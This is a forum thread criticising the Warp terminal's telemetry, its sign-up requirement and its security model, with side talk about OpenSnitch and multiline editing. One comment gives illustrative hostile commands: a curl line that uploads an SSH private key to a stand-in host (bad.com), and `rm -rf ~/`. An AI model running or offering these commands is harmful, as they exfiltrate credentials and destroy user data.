Wanted to give it a shot but got disappointed when I launched it and the following happened: - Outgoing request to googleapis.com - Outgoing request to segment.io - Outgoing request to sentry.io - Requires sign up (only via Github, mind you) I understand the first request is probably to get some dynamic configuration, even though I'd rather my terminal ship with static configuration. But then you have segment and sen…

I just downloaded it, but then thankfully read this comment before running it. No way do I want my terminal sending stuff to Google.

What a coincidence, I wonder if this other dude got $17 mil: https://github.com/spolu/warp

> warp lets you securely share your terminal with one simple command: warp open. When connected to your warp, clients can see your terminal exactly as if they were sitting next to you. You can also grant them write access, the equivalent of handing them your keyboard.

> warp distinguishes itself from "tmux/screen over ssh" by its focus and ease of use as it does not require an SSH access to your machine or a shared server for others to collaborate with you.

> Despite being still quite experimental, warp has already proven itself useful especially in the context of:

> - New engineer onboarding (navigating code in group without projection) Installation

I've been using warp in beta for a while now. Once you start using it, you won't want to get back to anything else.

How long is awhile?

Heard this line before, and without providing anything specific of substance, your comment comes off like a bot shill.

Why wouldn't I want to go back to the tools that have been working fine since 25+ years?

TBH, based on this HN discussion, WarpTerm reminds me of Bonzai Buddy more than any other terminal or command-line tool I've ever used.

Also: security? I expect my terminal to be a much more secure environment than my web browser. When an application starts communicating with the internet, I have no choice but to treat it with the same level of scrutiny as my browser. Even making telemetry opt-in means that it has the capability to send information to the internet that I don’t know about, which means that I have to treat it like an application that c…

> I expect my terminal to be a much more secure environment than my web browser.

Wat? Your terminal is 1000x less secure than your browser. Your terminal can do `rm -rf ~/`. your terminal can run `curl -F 'data=@~/.ssh/id.rsa' https://bad.com` and that just 2 of 1000s.

JS on your browser can do none of those.

Maybe you meant to say you want apps running from the terminal to not phone home but nothing in the terminal prevents that.

Just curious, what tools do you prefer to use to identify network requests from recently installed applications such as this?

On Linux there is OpenSnitch. A bit rough around the edges, but does what it needs to do well.

If they start out evil, then don't expect them to change.

Wanting to collect usage information and errors isn't evil-by-default. It's incomparably useful for troubleshooting and improving. Absolutely nothing works better, it's the best by a ridiculously large margin. But yeah, terminals are very sensitive environments, opt-in should be a default even at launch.

I appreciate the balanced, reasonable discussion.

I agree both that telemetry is useful and that there's not necessarily a place for it in the tool I use to manage my workstation and hundreds of servers. Perhaps I'd opt in to a middle ground, that is collect telemetry locally into a support file I can review, evaluate, and potentially redact before submission.

I doubt their compelling features will be in OSS terminals any time soon. I’ve wanted a terminal that has a decent multi line editor for years , and there’s nothing out there.

Vim supports multiline editing and I'd imagine emacs does as well. In bash/zsh, opens up $EDITOR so you can use whatever you're accustomed to anyhow. Most of these features are already available if one spends a bit of time configuring their terminal/shell.

Is multiline editing popular/useful? Thus far, the only occasions I've seen it shown is when someone is demonstrating it.
